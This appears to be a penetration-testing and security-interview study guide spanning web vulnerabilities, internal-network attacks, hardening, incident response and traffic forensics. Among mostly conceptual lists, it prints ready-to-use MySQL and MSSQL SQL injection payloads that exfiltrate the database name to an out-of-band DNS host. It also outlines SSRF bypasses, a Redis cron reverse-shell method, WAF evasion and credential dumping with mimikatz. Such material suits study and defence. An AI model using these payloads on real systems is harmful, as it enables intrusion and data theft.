Web Security Fundamentals

1. SQL Injection Types and Prevention

SQL injection occurs when untrusted data is concatenated into SQL queries without proper validation, allowing attackers to manipulate data base operations.

Common types include: character-based, numeric, boolean, error-based, time-based, union-based, stacked queries, wide-byte, and XFF header injections.

Prevention strategies:

• Use prepared statements with parameterized queries
• Implement PDO (PHP Data Objects) for database access
• Apply regular expression filtering on inputs
• Enable magic quotes (deprecated in modern PHP)
• Deploy Web Application Firewalls (WAF)

Prepared statements work by separating SQL logic from data. The database first parses the query structure, then substitutes parameters as literal values during execution, preventing injection regardless of input content.

2. XSS Types and Differences

XSS variants include:

• Stored XSS: Malicious code persists in the database and executes when users access affected pages
• Reflected XSS: Attack requires crafting malicious URLs that execute when users click them
• DOM-based XSS: Client-side code manipulation without server interaction

Key differences: Stored and reflected XSS involve server processing, while DOM XSS occurs entirely in the browser.

Prevention methods:

• HTML encode output data
• Implement whitelist input filtering
• Block JavaScript event handlers in user input
• Set HttpOnly cookie flag
• Deploy WAF solutions

3. XSS, CSRF, and SSRF Comparison

XSS (Cross-Site Scripting): Occurs when unfiltered user input causes unexpected script execution in browsers.

CSRF (Cross-Site Request Forgery): Exploits insufficient request validation, allowing attackers to forge user requests using session cookies.

SSRF (Server-Side Request Forgery): Abuses server functionality to make internal network requests on behalf of attackers.

4. XXE Vulnerability Overview

XML External Entity injection hapens when applications parse untrusted XML without disabling external entity processing. This can lead to file reading, command execution, internal network scanning, and denial-of-service attacks.

5. PHP Deserialization

Serialization converts objects to strings; deserialization reverses this process. PHP deserialization can be exploited when applications process untrusted serialized data, especially when leveraging magic methods like __construct() that execute automatically during object creation.

6. Java Deserialization and Shiro

Java uses ObjectOutputStream.writeObject() for serialization and ObjectInputStream.readObject() for deserialization. Shiro's rememberMe feature creates encrypted cookies that, when decoded and deserialized, can be exploited if the AES key is weak or default. Attackers can reconstruct malicious cookies after discovering the encryption key.

7. Common Logic Vulnerabilities

Typical logic flaws include authorization bypass, response manipulation, payment amount modification, cookie brute-forcing, and flawed password recovery mechanisms.

Login page attack vectors:

• Credential brute-forcing
• Session fixation
• SQL injection
• XSS exploitation
• Arbitrary user registration
• JavaScript file analysis
• SMS bombing
• Universal password attacks
• Second-order injection
• Template injection

8. CDN vs DNS and Bypass Techniques

CDN (Content Delivery Network) distributes content geographically to improve performance. DNS (Domain Name System) translates domain names to IP addresses.

CDN bypass methods:

• Subdomain enumeration
• Internal email systems
• Dark web search engines
• International ping tests
• Certificate and DNS queries
• Mobile app traffic analysis
• Misconfigured asset exposure
• Full network scanning
• DDoS attacks to reveal real IPs

9. Common Middleware Vulnerabilities

• IIS: PUT method abuse, short filename guessing, RCE, parsing vulnerabilities
• Apache: Parsing flaws, directory traversal
• Nginx: File parsing issues, directory traversal, CRLF injection, path traversal
• Tomcat: RCE, WAR file deployment
• JBoss: Deserialization vulnerabilities, WAR backdoors
• WebLogic: Deserialization, SSRF, file upload, WAR deployment

10. WAF Bypass Techniques

SQL injection example bypass methods:

• Architecture: Find real server IP, same-network bypass, HTTP/HTTPS dual service exploitation, edge asset exploitation
• Protocol: Chunked transfer encoding, pipeline utilization, protocol coverage gaps, POST/GET submission variations
• Rule-based: Encoding manipulation, equivalent symbol replacement, comment abuse, buffer overflow, MySQL specific tricks, whitelist/static resource abuse, parameter pollution

11. No-Output Command Execution

Solutions for command execution without direct output:

• Time-based inference
• HTTP request monitoring
• DNS logging
• File system manipulation (write and retrieve)

12. Common Port Information

• 21: FTP
• 22: SSH
• 23: Telnet
• 25: SMTP
• 53: DNS
• 80: HTTP
• 443: HTTPS
• 1433: MSSQL
• 3306: MySQL
• 3389: Windows RDP
• 7701: WebLogic
• 8080: Apache Tomcat

13. Penetration Testing Process

For single websites: Check for CDN, find real IP if present, scan adjacent sites and network segments, identify CMS and technologies, perform port scanning and directory enumeration, analyze JavaScript files for sensitive information, expand asset surface through mobile apps and social media, then conduct vulnerability assessments.

For network segments: Use automated tools like Goby for bulk scanning and vulnerability detection.

14. Logic Vulnerabilities

Logic flaws arise from insufficient or overly complex program logic that fails to handle certain conditions properly.

Payment system vulnerabilities: Price manipulation, payment status alteration, quantity overflow, order swapping, interface substitution, rounding errors, and authorization bypass.

Login system vulnerabilities: Status modification, password change bypass.

Password recovery flaws: Brute-force susceptibility, universal recovery tokens, skipped verification steps, interceptable recovery tokens.

Authentication vulnerabilities: Session fixation, cookie spoofing.

Captcha vulnerabilities: Brute-force susceptibility, JavaScript or packet modification bypass.

15. Unauthorized Access

Redis unauthorized access occurs when authentication is disabled, allowing direct database connections. Attackers can generate SSH keys and add public keys to gain access.

JBoss unauthorized access allows browsing the management console at /jmx-console without credentials and deploying backdoors.

16. Initial Access Techniques

Prioritize Java deserialization vulnerabilities (Shiro, FastJSON, WebLogic, UFIDA OA) due to often elevated privileges in Java web applications.

17. Shiro Vulnerability Detection

Identify Shiro vulnerabilities through:

• Login failures returning rememberMe=deleteMe
• Passive scanning with tools like shiroScan
• Absence of rememberMe in cookies for unauthenticated requests
• rememberMe=deleteMe in responses regardless of RememberMe checkbox
• Differing cookie behavior based on RememberMe selection during login

18. WebLogic Privilege Escalation

• Bypass authentication via static resources
• Request .portal to control MBeanUtilsInitSingleFileServlet
• Use encoded ../ to render console.portal template

19. FastJSON Exploitation

FastJSON processes JSON objects without filtering @type fields, allowing injection of malicious TemplatesImpl classes. The _bytecodes field can execute code during object instantiation.

20. Out-of-Band Webshell Situations

When webshells cannot connect outward, probe for allowed protocols (DNS, ICMP) and establish alternative communication channels.

21. Dangerous PHP Functions

Code execution: call_user_func(), call_user_func_array(), create_function(), array_map()

Command execution: system(), shell_exec(), passthru(), exec(), popen(), proc_open(), putenv()

22. DNS Log-Based SQL Injection

MySQL: ' AND IF((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.xxx.ceye.io\\abc'))),1,0)#

MSSQL: DECLARE @host VARCHAR(1024);SELECT @host= (SELECT db_name())+'.xxx.ceye.io ';EXEC('master..xp_dirtree"'+@host+'\foobar$');

23. phpMyAdmin Shell Techniques

• Standard import methods
• One-line export shell
• Log backup exploitation

24. Buffer Overflow Principle

C/C++ lack array bounds checking. Writing beyond allocated buffer space can overwrite adjacent memory, including function pointers. Attackers can redirect execution flow, potentially gaining system privileges.

25. SSRF Bypass Techniques

After blocking 127.0.0.1, use:

• Base conversion
• DNS resolution tricks
• Alternative notation (127。0。0。1)
• [::] IPv6 localhost
• @ symbol (http://example.com@127.0.0.1)
• Shortened URLs
• Alternative protocols (Dict, SFTP, TFTP, LDAP, Gopher)

26. Phar Protocol and php://input

Phar can bypass WAFs and upload restrictions. Phar:// deserialization occurs when reading phar files.

Differences between php://input and $_POST:

• php://input contains raw POST data; $_POST is parsed into arrays
• php://input is invalid with multipart/form-data
• With text/plain content type, $_POST fails but php://input works

27. SSRF Redis Shell

Use SSRF's Gopher protocol to interact with internal Redis instances. Exploit Redis to write cron jobs for reverse shells, requiring URL encoding and \\r to %0d%0a conversion.

28. sqlmap Scripts

• apostrophemask.py: UTF-8 quote replacement
• base64encode.py: Base64 encoding
• multiplespaces.py: SQL keyword spacing
• space2plus.py: Space to + replacement

29. Source Code Disclosure

SVN creates .svn directories containing source code. Git may expose .git directories if improperly deployed, revealing version control history.

30. UDF Privilege Principle

1. Place UDF files in MySQL's lib/plugin directory (MySQL > 5.1)
2. Load and execute custom functions

31. Recent Vulnerabilities

• Microsoft Exchange .NET deserialization (CVE-2020-0688)
• Apache Tomcat AJP file inclusion (CVE-2020-1938)
• WebLogic IIOP deserialization (CVE-2020-2551)
• Apache Solr RCE (CVE-2019-12409)
• Shiro deserialization (CVE-2019-0217)
• 泛微Ecology SQL injection
• Confluence local file disclosure (CVE-2019-3394)
• Apache Dubbo deserialization (CVE-2019-17564)

32. Parsing Vulnerabilities

IIS: Files in *.asp/asa directories execute as ASP; semicolon tricks.

Nginx: Right-to-left parsing, 00 truncation.

Apache: Right-to-left script extension detection.

33. Single HTTP Port with MySQL

Possible reasons: Port modification, database separation, closed 3306 port.

34. SQL Injection Without AND/OR

Order by injection can proceed directly after confirming the injection point, skipping the 1=1/1=2 testing phase.

35. Persistent XSS Control

Inject JavaScript in login pages to capture credentials or in authenticated areas to maintain long-term access.

36. File Upload 403 Errors

Web server may restrict script execution in upload directories. Try alternative extensions or configuration changes.

37. Access Database Utilization

Download with Thunder and rename to .mdb for local analysis.

38. Command-Line Shell Deployment

• bitsadmin for download
• Powershell execution
• certutil for download
• WGET alternative

39. Shiro Out-of-Band Exploitation

• Locate web directory for file writing
• Construct output mechanisms
• Memory-based webshells
• Time delays to discover web paths

40-42. Additional Web Security Topics

Refer to security resources for file inclusion, upload bypass, and XSS prevention details.

Security Tools

1. Penetration Testing Tools

Penetration: Metasploit, Cobalt Strike, Nmap, SQLMap, Dirb/Dirsearch, Burp Suite

Scanning: Xray, AWVS, Nessus, AppScan

2. sqlmap --os-shell

Requires: Root access, known absolute paths, GPC disabled, Secure_file_priv empty or writable.

Process: Uploads shell, executes commands via database, cleans up.

3. Information Gathering Tools

• Nmap: Port scanning, vulnerability detection
• Dirsearch: Directory enumeration
• WhatWAF: WAF identification
• WFuzz: Fuzz testing
• TideFinger/OWASP ZAP: Technology fingerprinting

4. Webshell Management Tools

Similarities: C/S architecture, uploaded shells as servers.

Differences: Implementation, features (e.g., IceScorpion's traffic encryption).

5. Security Vendor Solutions

Threat intelligence platforms: 360, AhnLab, HanSight, Green Armor, Qihoo 360, Sangfor, NSFOCUS, Qianxin

6. Nmap Common Parameters

Refer to documentation for comprehensive parameter usage.

Internal Network Security

1. Lateral Movement Techniques

• psexec
• wmic
• smbexec
• winrm
• Net use + scheduled tasks

2. psexec vs wmic

psexec creates extensive logs; wmic operates more stealthily.

3. DCOM Operations

Complex PowerShell commands for DCOM interaction.

4. Credential Harvesting

procdump + mimikatz for memory dumping and offline credential extraction.

5. Windows Version Limitations

Windows Server 2012 and later implement protections against credential harvesting.

6. Alternative Credential Recovery

• Search for stored passwords in files
• Pass-the-hash attacks
• Browser credential extraction

7. Domain Attack Methods

• MS14-068
• Password roasting
• Delegation attacks
• Resource-based constrained delegation
• NTLM relay

8. Session Hijacking

Escalate to SYSTEM privileges to hijack any logged-in user session without credentials.

9. Internal Network Penetration

1. Proxy tunneling
2. Persistence mechanisms
3. Network information gathering
4. Credential brute-forcing
5. Credential theft
6. Social engineering
7. Lateral and vertical movement
8. Domain controller compromise

10. Encrypted Password Recovery

Use hashcat or similar tools for password cracking.

11. Domain Controller Acquisition

• SYSVOL exploitation
• MS14-068 Kerberos attacks
• SPN scanning
• Golden/silver ticket attacks
• Service account password cracking
• Credential theft
• NTLM relay
• Kerberos delegation
• ZeroLogon (CVE-2020-1472)
• ARP poisoning
• CVE-2021-42278/42287

12. Golden vs Silver Tickets

Refer to security resources for detailed explanation.

13. Persistence Methods

Windows: Refer to security resources

Linux: Refer to security resources

14. Shellcode Evasion

Refer to security resources for anti-AV techniques.

15. Domain Information Gathering

1. Domain presence verification
2. Domain controller identification
3. Domain trust relationships
4. Password policy analysis
5. User enumeration (especially domain admins)
6. Host discovery
7. BloodHound usage

16. Proxy Tools

• frp
• Neo-reGeorg
• ssf
• ew
• Venom

17. Network Tunneling Without Ping

Establish webshell-based tunnels using Neo-reGeorg or pystinger.

18. Domain Controller Identification

Refer to security resources for three identification methods.

19. PTH, PTT, PTK Differences

Refer to security resources for detailed comparison.

Network Fundamentals

1. OSI vs TCP/IP Models

OSI: Physical, Data Link, Network, Transport, Session, Presentation, Application

TCP/IP: Network Interface, Internet, Transport, Application

2. TCP Handshake and Termination

Three-way handshake establishes connections; four-way termination gracefully closes them. These mechanisms ensure reliable communication over unreliable networks.

3. Private IP Ranges

• Class A: 10.0.0.0 - 10.255.255.255
• Class B: 172.16.0.0 - 172.31.255.255
• Class C: 192.168.0.0 - 192.168.255.255

4. UDP vs TCP

UDP: Connectionless, low overhead, less reliable

TCP: Connection-oriented, reliable, higher overhead

5. Shell Types

正向Shell: Attacker connects to victim

反向Shell: Victim connects to attacker

6. Proxy Types

正向代理: Client uses proxy for external access

反向代理: Server uses proxy for client requests

7. Firewall Types

• Packet filtering
• Proxy-based
• Stateful inspection

System Administration

1. OS Fingerprinting

• URL case sensitivity
• TTL values
• Server headers

2. Port and Service Discovery

Windows: netstat -ano, net start

Linux: netstat -tuln, service --status-all | grep running

3. Linux Log Locations

/var/log directory

4. Windows Download Commands

• certutil
• bitsadmin
• Powershell
• copy

5. Post-Intrusion Analysis

Review system logs, user accounts, processes, hidden processes, files, network connections, scheduled tasks, and services.

6. Windows Privilege Escalation

• Kernel exploits
• Database elevation
• Misconfigurations
• DLL hijacking
• Third-party software exploits
• Token theft
• Web middleware flaws
• AT, SC, PowerShell techniques

7. Linux Privilege Escalation

• Kernel exploits
• SUID/GUID binaries
• Insecure environment variables
• Cron jobs
• Database elevation

8. Windows Hardening

• Change RDP port
• Restrict SAM access
• Block registry editing
• Enable auditing
• Disable SMBv1
• Screen lock with password
• Password complexity policies
• Firewall configuration
• Disable default shares

9. Linux Hardening

• Disable root SSH login
• Password complexity
• Account lockout policies
• Restrict su access
• ICMP filtering
• Session timeouts
• Monitor login attempts

10. Malware Persistence Locations

• Registry
• Services
• Startup directories
• Scheduled tasks
• File associations

Incident Response

1. Threat Intelligence Platforms

• ThreatBook
• Qihoo 360
• NSFOCUS
• Green Armor
• VirusTotal

2. False Positive Handling

• Keyword analysis
• Behavioral analysis
• Anomaly detection

3. Scanner vs Manual Traffic

Scanner traffic shows regular patterns and high frequency; manual traffic appears more varied.

4. Internal Alert Response

Identify affected systems, apply patches, remove webshells, analyze full traffic, identify attacker infrastructure, and conduct social engineering investigations.

5. Incident Response Process

1. Information gathering
2. Event classification
3. In-depth analysis
4. Cleanup and remediation
5. Report generation

6. Honeypots

Deception technology that monitors, detects, and analyzes attacks without legitimate business use.

7. Deserialization Detection

Identify via packet inspection for specific serialization format patterns.

8. Cryptocurrency Mining Detection

Identify abnormal processes via task manager/netstat, analyze PID associations, and disable suspicious services.

9. Command History Review

Use the 'history' command to review executed commands.

Traffic Analysis and Forensics

1. Attacker IP Identification

1. Analyze traffic flows to identify suspicious IPs
2. Filter webshell-related traffic: ip.addr ==ip &&http matches "uploadlevel|select|xp_cmdshell"&&http.request.method == "POST"
3. Locate initial webshell deployment
4. Identify vulnerability type

2. Webshell Traffic Analysis

1. Monitor for eval, z0, shell, whoami keywords
2. Use Wireshark to isolate suspicious packets
3. Identify malicious IPs and content

3. Wireshark Filtering

• IP: ip.src==1.1.1.1, tcp.srcport==80
• Protocol: http
• Method: http.request.method=="GET/POST"

4. Webshell Traffic Characteristics

• System function execution (eval, shell)
• Base64 encoding for command communication
• Error suppression (display_errors=0)
• Network utility execution (ifconfig, whoami, ipconfig)

5. SQL Injection Traffic Analysis

1. Monitor for increased query volume
2. Track select and union keyword frequency
3. Isolate suspicious IPs and analyze request parameters

6. HTTP Service Scanning

Use nmap -sV or automated scripts for service version identification.